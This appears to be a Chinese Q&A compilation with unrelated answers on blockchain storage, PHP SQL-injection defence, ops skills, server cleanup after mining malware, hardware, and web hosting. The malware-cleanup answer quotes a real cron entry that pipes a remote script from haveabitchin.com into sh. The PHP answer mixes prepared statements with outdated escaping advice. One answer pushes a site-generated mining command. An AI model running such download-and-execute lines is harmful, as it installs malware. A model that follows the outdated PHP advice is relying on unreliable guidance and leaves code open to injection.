❶ 什麼是區塊鏈技術區塊鏈技術的核心構成是什麼
從技術的角度,架構的角度,用通俗的語言來跟大家講講,我對區塊鏈的一些理解。
究竟啥是區塊鏈?Block chain,一句話來說,區塊鏈是一個存儲系統,存儲系統更細一點,區塊鏈是一個沒有管理員,每個節點都擁有全部數據的分布式存儲系統。
那常見的存儲系統,是什麼樣子的呢?
首先看一下如何保證高可用?
普通的存儲系統通常是用「冗餘」的方式來解決高可用問題的。圖上圖所示如果能夠把數據復製成幾份,冗餘到多個地方,就能夠保證高可用。一個地方的數據掛了,另外的地方還存有數據,例如MySQL的主從集群就是這個原理,磁碟的RAID也是這個原理。
這個地方需要強調的兩點是:數據冗餘,往往會引發一致性的問題
1、例如MySQL的主從集群中中其實讀寫會有延時的,它其實就是有一個短的時間內讀寫不一致。這個是數據冗餘,帶來的一個副作用。
2、第二個點是數據冗餘往往會降低寫入的效率,因為數據同步也是需要消耗資源的。你看單點寫入,如果加了兩個從庫之後,其實寫入的效率會受影響。普通的存儲系統,就是採用冗餘的方式,保證數據的高可用的。
那麼第二個問題,普通的存儲系統,能否多點寫入呢?
答案是可以的,比如說以這個圖為例:
其實MySQL的話可以做一個雙主的主從同步,雙主的主從同步,兩個節點,同時可以寫入。如果要做多機房多活的數據中心,其實多機房多活也是進行數據同步的。這里要強調的是多點寫入,往往會引發寫寫沖突的一致性問題,以MySQl為例,假設有一個表的屬性是自增ID,那麼現在資料庫中的數據是1234,那麼其中一個節點寫入,插入了一條數據,那它可能變成5了,然後這5條數據,向另外一個主節點進行數據同步,同步完成之前,如果另外一個寫入節點,也插入了一條數據,也生成了一條這個自增id為5的數據。那麼,生成之後,往另外一個節點同步,然後同步數據到達之後會與本地的這兩條5沖突,就會同步失敗,會引發寫寫的一致性沖突問題。這個多點寫入的話都會出現這個問題。
多點寫入,如何保證一致?
維新「天鵝大咖課」給你更多的技術幹活
❷ php中防止SQL注入,該如何解決
防sql注入的一個簡單方法就是使用框架,一般成熟框架中會集成各種安全措施。
當然也可以自己處理,如果用戶的輸入能直接插入到SQL語句中,那麼這個應用就易收到SQL注入的攻擊。我認為最重要的一點,就是要對數據類型進行檢查和轉義。
php.ini
------------
display_errors 選項,應該設為display_errors = off。這樣 php 腳本出錯之後,不會在 web 頁面輸出錯誤,以免讓攻擊者分析出有作的信息。
打開magic_quotes_gpc來防止SQL注入,magic_quotes_gpc= Off,這個默認是關閉的,如果它打開後將自動把用戶提交對sql的查詢進行轉換,比如把 ' 轉為 '等,對於防止sql注射有重大作用。如果magic_quotes_gpc=Off,則使用addslashes()函數。
mysql 函數
---------------
調用mysql_query 等mysql 函數時,前面應該加上 @,即 @mysql_query(...),這樣 mysql 錯誤不會被輸出。同理以免讓攻擊者分析出有用的信息。另外,有些程序員在做開發時,當mysql_query出錯時,習慣輸出錯誤以及sql 語句。
mysql_real_escape_string -- 轉義 SQL 語句中使用的字元串中的特殊字元,並考慮到連接的當前字元集。
Sql語句
------------
對提交的 sql 語句,進行轉義和類型檢查。如果請求是數值型,那麼調用is_numeric() 判斷是否為數值。如果不是,則返回程序指定的默認值。簡單起見,對於文本串,我將用戶輸入的所有危險字元(包括HTML代碼),全部轉義。由於php 函數addslashes()存在漏洞,我用str_replace()直接替換。get_magic_quotes_gpc()函數是php 的函數,用來判斷magic_quotes_gpc 選項是否打開。
其它
---------
使用預處理語句和參數化查詢(PDO或mysqli)。預處理語句和參數分別發送到資料庫伺服器進行解析,參數將會被當作普通字元處理。這種方式使得攻擊者無法注入惡意的SQL。
❸ 運維工程師必須掌握的基礎技能有哪些
運維工程師必須掌握的基礎技能有:基礎命令、基礎服務、自動化技能、安全。
1、基礎命令:
這個基礎就包括:用戶管理命令,文件管理命令,許可權管理命令,軟體包管理命令,vim命令,網路管理命令等。這些命令好學,因為每個命令都有相應的help幫助文檔,而且很多網站都集成了命令幫助,把這些站點進行收藏,時不時的查下就記住了。
2、基礎服務:
企業常用的基礎服務就包括DHCP,NTP,DNS,Nginx,Apache,Mysql,Redis,Vsftpd,Nfs。基礎服務的掌握,相比命令稍微的難一點,但是同樣有很多技巧。比如可以去各大視頻站獲取優質的免費視頻學習。
3、自動化技能:
這個自動化就包括腳本自動化,需要熟悉掌握shell腳本或者Python腳本;包括監控自動化,不能靠傳統的點擊頁面,查看進程來判斷服務是否在線,需要熟悉掌握zabbix,Prometheus等主流監控軟體;還包括工具自動化,需要掌握向ansible,puppet,Jenkins等自動化軟體,實現服務的批量部署與業務的自動化。
4、安全:
作為運維工程師,首先就要時刻保障公司業務系統,伺服器安全穩定運行。所以安全至關重要,主流的iptables,firewalld防火牆技術要熟練掌握,有必要的話常見的挖礦病毒,ddos等攻擊有段也要有所了解。
運維工程師(Operations),負責維護並確保整個服務的高可用性,同時不斷優化系統架構提升部署效率、優化資源利用率提高整體的ROI。
運維工程師面對的最大挑戰是大規模集群的管理問題,如何管理好幾十萬台伺服器上的服務,同時保障服務的高可用性,是運維工程師面臨的最大挑戰。
❹ 伺服器被rshim挖礦病毒攻擊後 HugePages_Total 透明大頁怎麼都清不掉 一直佔用內存 球球
問題定位及解決步驟:
1、free -m 查看內存使用狀態 ,發現free基本沒了。--> 懷疑是服務有內存泄漏,開始排查
2、使用top命令觀察,開啟的服務佔用內存量並不大,且最終文檔在一個值,且服務為java應用,內存並沒達到父jvm設置上限。按top監控佔用內存排序,加起來也不會超過物理內存總量。查看硬碟使用量,佔用20%。基本排除虛擬內存佔用過大的原因。--->排除服務內存泄漏因素,懷疑mysql和nginx,開始排查
3、因為top命令看 mysql佔用內存也再可控范圍,是否存在connection佔用過多內存,發現並不會,設置最大連接數為1000,最多也不會超過幾M。 nginx佔用一直非常小。但每次最先被kill的基本都是nginx進程。所以排查,但發現無非就是openfiles數量啥的調整。發現也一切正常。且之前niginx可以正常使用的。
4、最為費解的就是 通過free -m 查看的時候 基本全是used,cache部分很少,free基本沒有。但top上又找不到有哪些進程佔用了內存。無解
5、注意到有兩個進程雖佔用內存不多,但基本耗光了100%的cpu。開始想著佔cpu就佔了,沒占內存,現在是內存不不夠導致進程被kill的,就沒注意這點。
6、實在搞不定,重啟伺服器,重啟了所有服務,服務暫時可用,回家。在路上的時候發現又崩了。忐忑的睡覺。
7、早上起來繼續看,這次留意注意了下那兩個佔用高cpu的進程,kdevtmpfsi 和 networkservice。本著看看是啥進程的心態,網路了下。真相一目瞭然,兩個挖礦病毒。
突然後知後覺的意識到錯誤原因:
1、cpu佔用率高,正常服務使用cpu頻率較高的服務最容易最內存超標。(因為在需要使用cpu時沒cpu資源,內存大量佔用,服務瞬間崩潰),然後看top發現剛剛已經佔用內存的進程已經被kill了,所以沒發現內存有高佔用的情況。
2、後面的應用繼續使用cpu時也會發生類似情況,倒是服務一個一個逐漸被kill。
問題點基本定位好了,解決問題就相對簡單很多:
通過網路,google,常見的病毒清除步驟基本都能解決。這兩個挖礦病毒很常見,大致記錄下要點。可能所有病毒都會有這些基礎操作。
① 首先,查看當前系統中的定時任務:crontab -l
我伺服器上有四個定時下載任務 通過wget 和 curl 下載病毒文件,把異常的刪掉。要不然刪了病毒文件還是會下載下來
crontab -r,全部刪除命令(或根據需求刪除定時任務)
② 查找病毒文件 可以全部模糊搜索 清除, 但病毒文件基本都用了chattr +i命令 使用chattr -i filename 後再使用rm -f filename 。可刪除
③ kill 病毒進程,但注意kill了可能馬上就重啟了。因為有守護進程,需要把病毒進程的守護進程也kill掉
④ 檢查是否root用戶被攻擊,可能系統配置信息被更改。
⑤ 最好能理解病毒腳本,通過看代碼看它做了些什麼。針對腳本取修復系統。
❺ i32120有必要換e3
可以考慮的,性能快翻番了,性能提升明顯,只是E3 1230系列的2手貨性價比不算高,如果還打算多跑幾年,可以考慮。如果不滿足,想要新主機的,直接湊活用了,跑不動了直接買新機器了
❻ liunx系統與win0系統挖礦哪個有優勢
首先說答案:Linux系統相較於Windows更有優勢。
主要優點有以下:
運行相對更穩定,維護起來更方便;
系統資源開銷小(即對硬體要求不高了),節約挖礦成本;
安裝調試簡單,技術門檻更低了;
完全開源系統,免費正版,更加穩定也更進一步節約挖礦成本
問題又來了,Linux系統如何挖礦?其實只需要兩步,你就可以在Linux系統下挖礦:
打開 網站,輸入手機號,選擇你要使用多少CPU來挖礦,默認為使用50%的CPU進行挖礦,點擊生成你的專屬命令並復制
就是這么操作簡單。
❼ 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白
1. 關閉訪問挖礦伺服器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執行許可權, 在沒有找到根源前,千萬不要刪除 minerd,因為刪除了,過一回會自動有生成一個。
3. pkill minerd ,殺掉進程
4. service stop crond 或者 crontab -r 刪除所有的執行計劃
5. 執行top,查看了一會,沒有再發現minerd 進程了。
6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。
下載腳本的語句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下,感興趣的可以研究下:
View Code
解決minerd並不是最終的目的,主要是要查找問題根源,我的伺服器問題出在了redis服務了,黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權,http://blog.jobbole.com/94518/然後就注入了病毒,下面是解決辦法和清除工作:
1. 修復 redis 的後門,
配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」,區分普通用戶和admin許可權,普通用戶將會被禁止運行某些命令,如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號
3. 查看你的用戶列表,是不是有你不認識的用戶添加進來。 如果有就刪除掉.
❽ 美國虛擬主機的虛擬主機選擇注意點
美國虛擬主機需要注意的點是:
1、IP被封
建站的人和做過網站的人都知道,由於建站人的技術從層面不同,則網站的安全防護也各有不同。如在共享IP的情況下,某個網站被惡意攻擊和掛馬,極大的會牽扯到整個獨立伺服器,伺服器如果癱瘓或者宕機則共享ip的所有網站則也無法訪問。搜索引擎的收錄也有一定風險,如某網站牽涉不和諧內容被搜索引擎屏蔽或者降權,其他共享IP的網站也會受到影響。尤其對於美國虛擬主機而言,對用戶本身放置的內容想對寬松,所以會有一定的風險。如做外貿商務,則選擇獨立IP虛擬主機。
2、版權問題
由於國內的網路環境,很多站長不會注意這方面的問題,導致空間被主機服務商關閉。國內主機沒有版權審查這個問題。而對應的美國虛擬主機,特別是歐美海外的虛擬主機對版權這個問題十分在意,所以如果利用美國虛擬主機建站要特別注意這個問題。只要建站時不要太過重合,後續出問題聯系主機服務商刪除侵權內容即可。
3、售後
售後服務是對這個行業共有的問題,一個好的售後服務商是最有利的保障,為了在建站時選擇伺服器辨別優質的售後服務商。對於海外服務商,我們首先要看他們是否有中文網站、客戶、售後熱線,其次我們也要看客服的反響速度。優質的服務商會提供7X24小時在線的服務,客服反響速度不會超過十五分鍾,超快的反響速度可給客戶一種好的體驗感和負責的態度。